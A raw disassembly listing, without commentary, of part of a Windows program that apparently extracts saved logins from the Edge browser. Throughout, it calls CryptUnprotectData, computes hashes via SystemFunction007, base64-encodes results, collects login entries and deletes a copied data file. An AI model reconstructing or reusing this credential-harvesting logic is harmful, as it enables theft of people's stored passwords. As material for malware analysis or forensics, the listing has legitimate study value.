punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x30], xmm0
cmp ecx, dword [esp + 0x18]
jb 0x40bd14
mov eax, edi
and al, 0x1f
cmp al, 4
jb 0x40bd9e
mov edx, dword [esp + 0x10]
mov eax, edi
mov esi, dword [esp + 0x24]
and eax, 0xfffffffc
movd xmm0, dword [edx + ecx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movq qword [esi + ecx*2], xmm0
add ecx, 4
cmp ecx, eax
jb 0x40bd80
mov esi, dword [esp + 0x2c]
cmp ecx, edi
jae 0x40bdc2
mov edx, dword [esp + 0x24]
mov esi, dword [esp + 0x10]
nop word [eax + eax]
movsx ax, byte [esi + ecx]
mov word [edx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x40bdb0
mov esi, dword [esp + 0x2c]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 1
test eax, eax
je 0x40be31
jmp 0x40bde2
push str.NULL_parameter
push 2
call fcn.00408d60
add esp, 8
mov edi, dword [esp + 0x14]
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x40bdf0
sub edi, ecx
lea eax, [edi*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edx, eax
mov dword [esp + 0x30], edx
test edx, edx
jne 0x40be45
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push eax
push str.Error_allocating_memory:0x_X
push 1
call fcn.00408d60
add esp, 0xc
push str.Error_assigning_strings
push 2
call fcn.00408d60
add esp, 8
jmp 0x40bf58
xor ecx, ecx
test edi, edi
je 0x40bf52
cmp edi, 4
jb 0x40bf36
mov eax, dword [esp + 0x14]
lea edx, [edx + edi*2]
mov esi, dword [esp + 0x2c]
dec eax
add eax, edi
add edx, 0xfffffffe
cmp dword [esp + 0x30], eax
ja 0x40be79
cmp edx, dword [esp + 0x14]
jae 0x40bf32
cmp edi, 0x20
jb 0x40beff
mov edx, dword [esp + 0x14]
mov eax, edi
and eax, 0xffffffe0
add edx, 0x10
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x30]
add eax, 0x20
nop dword [eax]
movq xmm0, qword [edx - 0x10]
lea eax, [eax + 0x40]
punpcklbw xmm0, xmm0
lea edx, [edx + 0x20]
psraw xmm0, 8
add ecx, 0x20
movups xmmword [eax - 0x60], xmm0
movq xmm0, qword [edx - 0x28]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x50], xmm0
movq xmm0, qword [edx - 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x40], xmm0
movq xmm0, qword [edx - 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x30], xmm0
cmp ecx, dword [esp + 0x18]
jb 0x40bea0
mov eax, edi
and al, 0x1f
cmp al, 4
jb 0x40bf2e
mov edx, dword [esp + 0x14]
mov eax, edi
mov esi, dword [esp + 0x30]
and eax, 0xfffffffc
nop dword [eax]
movd xmm0, dword [ecx + edx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movq qword [esi + ecx*2], xmm0
add ecx, 4
cmp ecx, eax
jb 0x40bf10
mov esi, dword [esp + 0x2c]
cmp ecx, edi
jae 0x40bf52
mov edx, dword [esp + 0x30]
mov esi, dword [esp + 0x14]
nop word [eax + eax]
movsx ax, byte [ecx + esi]
mov word [edx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x40bf40
mov esi, dword [esp + 0x2c]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x7c]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x40c007
call edi
push eax
push str.Could_not_decrypt_data_directly:0x_X
push 2
call fcn.00408d60
add esp, 0xc
mov dword [esp + 0x7c], 0
cmp dword [esp + 0x90], 0
mov dword [esp + 0x80], 0
je 0x40bff8
mov ecx, dword [esp + 0x8c]
lea edx, [esp + 0x58]
mov dword [esp + 0x58], 0xc
lea eax, [ecx + 3]
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x88]
add eax, 0xfffffff1
mov dword [esp + 0x6c], eax
lea eax, [ecx + 0xf]
mov dword [esp + 0x70], eax
lea ecx, [esp + 0x90]
lea eax, [esp + 0x7c]
push eax
lea eax, [esp + 0x70]
push eax
call fcn.00404140
add esp, 8
test eax, eax
jne 0x40c007
push str.Could_not_decrypt_data_for_host
push 2
call fcn.00408d60
add esp, 8
mov edi, dword [esp + 0x7c]
test edi, edi
jne 0x40c135
push dword [esp + 0x38]
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0xa4]
push dword [esp + 0x40]
mov edx, dword [esp + 0x80]
push dword [esp + 0x48]
push dword [esp + 0x50]
push eax
push dword [esp + 0x44]
push dword [esp + 0x3c]
push str.Edge
call fcn.00408ef0
add esp, 0x20
test eax, eax
je 0x40c121
cmp dword [esp + 0x50], edi
jne 0x40c07c
push str.NULL_List
push 1
call fcn.00408d60
add esp, 8
push str.Cannot_add_new_login
push 1
call fcn.00408d60
add esp, 8
jmp 0x40b1e0
push 0xc
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edi, eax
test edi, edi
jne 0x40c0a4
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push eax
push str.Error_creating_a_new_list_entry:0x_X
jmp 0x40c117
push 0x24
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov ecx, eax
mov dword [edi], ecx
test ecx, ecx
je 0x40c10a
movups xmm0, xmmword [esp + 0xa0]
mov eax, dword [esp + 0xc0]
movups xmmword [ecx], xmm0
movups xmm0, xmmword [esp + 0xb0]
movups xmmword [ecx + 0x10], xmm0
mov dword [ecx + 0x20], eax
mov ecx, dword [esp + 0x50]
cmp dword [ecx + 4], 0
jne 0x40c0f4
inc dword [ecx]
mov dword [ecx + 4], edi
mov dword [ecx + 8], edi
jmp 0x40b1e0
mov eax, dword [ecx + 8]
mov dword [edi + 4], eax
mov eax, dword [ecx + 8]
mov dword [eax + 8], edi
inc dword [ecx]
mov dword [ecx + 8], edi
jmp 0x40b1e0
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push eax
push str.Error_copying_list_value:0x_X
push 1
call fcn.00408d60
add esp, 0xc
push str.Cannot_add_new_login
push 1
call fcn.00408d60
add esp, 8
jmp 0x40b1e0
mov eax, dword [esp + 0x80]
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], 0
test eax, eax
je 0x40c2b4
lea eax, [edi*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov dword [esp + 0x20], eax
test eax, eax
jne 0x40c18e
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push eax
push str.Error_allocating_memory:0x_X
push 1
call fcn.00408d60
mov eax, dword [esp + 0x1c]
add esp, 0xc
jmp 0x40c297
xor ecx, ecx
test edi, edi
je 0x40c292
cmp edi, 4
jb 0x40c272
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x18]
dec eax
add eax, edi
cmp dword [esp + 0x20], eax
ja 0x40c1c8
mov eax, dword [esp + 0x20]
mov esi, dword [esp + 0x2c]
add eax, 0xfffffffe
lea eax, [eax + edi*2]
cmp eax, edx
jae 0x40c272
cmp edi, 0x20
jb 0x40c247
mov eax, edi
add edx, 0x10
and eax, 0xffffffe0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x20]
add eax, 0x20
movq xmm0, qword [edx - 0x10]
lea eax, [eax + 0x40]
punpcklbw xmm0, xmm0
lea edx, [edx + 0x20]
psraw xmm0, 8
add ecx, 0x20
movups xmmword [eax - 0x60], xmm0
movq xmm0, qword [edx - 0x28]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x50], xmm0
movq xmm0, qword [edx - 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x40], xmm0
movq xmm0, qword [edx - 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x30], xmm0
cmp ecx, dword [esp + 0x10]
jb 0x40c1e4
mov eax, edi
and al, 0x1f
cmp al, 4
jb 0x40c26e
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x20]
mov eax, edi
and eax, 0xfffffffc
movd xmm0, dword [ecx + edx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movq qword [esi + ecx*2], xmm0
add ecx, 4
cmp ecx, eax
jb 0x40c250
mov esi, dword [esp + 0x2c]
cmp ecx, edi
jae 0x40c292
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x20]
nop word [eax + eax]
movsx ax, byte [ecx + edx]
mov word [esi + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x40c280
mov esi, dword [esp + 0x2c]
mov eax, 1
test eax, eax
jne 0x40c2c3
push str.Error_copying_data_to_login_element
push 1
call fcn.00408d60
mov eax, dword [esp + 0x28]
mov dword [esp + 0x28], eax
jmp 0x40c600
push str.NULL_parameter
push 2
call fcn.00408d60
add esp, 8
xor eax, eax
xorps xmm0, xmm0
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x84], eax
mov eax, dword [esp + 0x20]
movlpd qword [esp + 0x98], xmm0
movaps xmmword [esp + 0xd0], xmm0
test eax, eax
je 0x40c5e5
mov edx, dword [0x4db45c]
xor edi, edi
test edx, edx
jne 0x40c36f
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x40c334
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_load_ad_lib:0x_X
push 1
call fcn.00408d60
add esp, 0xc
mov eax, edi
jmp 0x40c4be
push str.SystemFunction007
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
mov dword [0x4db45c], edx
test edx, edx
jne 0x40c36b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_get_h_function:0x_X
push 1
call fcn.00408d60
mov eax, dword [esp + 0x24]
add esp, 0xc
jmp 0x40c490
mov eax, dword [esp + 0x20]
mov ecx, eax
mov dword [esp + 0x9c], eax
lea eax, [ecx + 2]
mov dword [esp + 0x28], eax
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40c380
sub ecx, dword [esp + 0x28]
sar ecx, 1
lea eax, [ecx + ecx]
mov word [esp + 0x98], ax
add eax, 2
mov word [esp + 0x9a], ax
lea eax, [esp + 0xd0]
push eax
lea eax, [esp + 0x9c]
push eax
call edx
test eax, eax
jns 0x40c3d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_get_hash:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x40c488
lea eax, [esp + 0x84]
push eax
push 0
push 1
push 0x10
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
mov eax, dword [esp + 0x84]
test eax, eax
jne 0x40c41a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_get_size_of_base64_string:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x40c488
add eax, eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edi, eax
test edi, edi
jne 0x40c449
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_allocate_memory_for_base64_string:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x40c488
lea eax, [esp + 0x84]
push eax
push edi
push 1
push 0x10
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
test eax, eax
jne 0x40c480
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_convert_to_base64:0x_X
push 1
call fcn.00408d60
add esp, 0xc
jmp 0x40c488
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0x18]
test eax, eax
je 0x40c497
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0x10]
mov ecx, edi
mov edx, eax
mov dword [esp + 0x18], edx
test eax, eax
jne 0x40c4be
test ecx, ecx
je 0x40c4be
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
xor edi, edi
mov eax, dword [esp + 0x18]
mov dword [esp + 0x28], edi
test eax, eax
je 0x40c5f4
push dword [esp + 0x38]
mov edx, dword [esp + 0x7c]
lea ecx, [esp + 0xa4]
push dword [esp + 0x40]
mov dword [esp + 0x30], edi
push dword [esp + 0x48]
push dword [esp + 0x50]
push edi
push dword [esp + 0x44]
push dword [esp + 0x3c]
push str.Edge
call fcn.00408ef0
add esp, 0x20
test eax, eax
je 0x40c5dc
cmp dword [esp + 0x50], 0
jne 0x40c52d
push str.NULL_List
push 1
call fcn.00408d60
add esp, 8
mov dword [esp + 0x28], edi
push str.Cannot_add_new_login
push 1
jmp 0x40c5fb
push 0xc
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x40c556
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_creating_a_new_list_entry:0x_X
jmp 0x40c5ce
push 0x24
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [esp + 0x18]
mov edx, eax
inc dword [0x4de7b4]
mov dword [ecx], edx
test edx, edx
je 0x40c5c2
movups xmm0, xmmword [esp + 0xa0]
mov eax, dword [esp + 0xc0]
movups xmmword [edx], xmm0
movups xmm0, xmmword [esp + 0xb0]
movups xmmword [edx + 0x10], xmm0
mov dword [edx + 0x20], eax
mov edx, dword [esp + 0x50]
cmp dword [edx + 4], 0
jne 0x40c5ab
inc dword [edx]
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [esp + 0x28], edi
jmp 0x40c603
mov eax, dword [edx + 8]
mov dword [ecx + 4], eax
mov eax, dword [edx + 8]
mov dword [esp + 0x28], edi
mov dword [eax + 8], ecx
inc dword [edx]
mov dword [edx + 8], ecx
jmp 0x40c603
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_copying_list_value:0x_X
push 1
call fcn.00408d60
add esp, 0xc
mov dword [esp + 0x28], edi
push str.Cannot_add_new_login
push 1
jmp 0x40c5fb
push str.NULL_parameters
push 1
call fcn.00408d60
add esp, 8
push str.Cannot_get_ph
push 2
call fcn.00408d60
add esp, 8
mov ecx, dword [esp + 0x7c]
mov eax, dword [esp + 0x80]
test ecx, ecx
je 0x40c624
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40c612
mov eax, dword [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x40b1e0
push str.Error_retrieving_login_info
push 2
call fcn.00408d60
add esp, 8
inc dword [esp + 0x48]
jmp 0x40b1e0
push str.API_called_with_NULL_prepared_statement
push 0x15
call fcn.00412760
add esp, 8
push 0x4d6ad4
push 0x12f19
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
add esp, 0x14
mov eax, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
test eax, eax
je 0x40c68c
push eax
call edi
dec dword [0x4de7b4]
mov eax, dword [esp + 0x30]
test eax, eax
je 0x40c69d
push eax
call edi
dec dword [0x4de7b4]
mov edi, dword [esp + 0x20]
test edi, edi
je 0x40c6dd
mov ecx, edi
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40c6b0
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x40c6d0
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40c6c5
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
mov edi, dword [esp + 0x28]
test edi, edi
je 0x40c737
mov ecx, edi
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40c6f0
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x40c710
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40c705
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
call edi
dec dword [0x4de7b4]
jmp 0x40c73d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_finishing_work_path:0x_X
push 1
call fcn.00408d60
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x94]
test eax, eax
je 0x40c76e
mov ecx, dword [esp + 0x90]
test ecx, ecx
je 0x40c765
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40c753
mov eax, dword [esp + 0x94]
push eax
call edi
dec dword [0x4de7b4]
test esi, esi
je 0x40c822
mov edi, dword [esi]
test edi, edi
jne 0x40c7ab
push str.API_called_with_finalized_prepared_statement
push 0x15
call fcn.00412760
push 0x4d6ad4
push 0x12cd5
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
add esp, 0x1c
jmp 0x40c822
mov eax, dword [edi + 0xc]
test eax, eax
je 0x40c7bc
push eax
call dword [0x4d9af4]
add esp, 4
cmp dword [esi + 0x84], 0
jl 0x40c7d9
jg 0x40c7d0
cmp dword [esi + 0x80], 0
jbe 0x40c7d9
mov edx, esi
mov ecx, edi
call fcn.00439de0
mov eax, dword [esi + 0x14]
mov dword [esp + 0x4c], 0
cmp eax, 0x2df20da3
je 0x40c7f2
cmp eax, 0x319c2973
jne 0x40c7fd
mov ecx, esi
call fcn.00437690
mov dword [esp + 0x4c], eax
mov ecx, esi
call fcn.00437c60
cmp byte [edi + 0x49], 0
jne 0x40c814
cmp dword [esp + 0x4c], 0xc0a
jne 0x40c81b
mov ecx, edi
call fcn.004108e0
mov ecx, edi
call fcn.004a7f80
mov eax, dword [esp + 0x34]
test eax, eax
je 0x40c833
xor edx, edx
mov ecx, eax
call fcn.004a7e20
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40c85b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_deleting_c_data:0x_X
push 1
call fcn.00408d60
add esp, 0xc
push dword [esp + 0x48]
push dword [esp + 0x58]
push str.New_Edge___Number_of_logins_processed:__d__discarded:__d
push 3
call fcn.00408d60
push str.Getting_New_Edge_info___
push 3
call fcn.00408d60
mov ecx, dword [esp + 0x1244]
add esp, 0x18
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.004ac4d4
mov esp, ebp
pop ebp
ret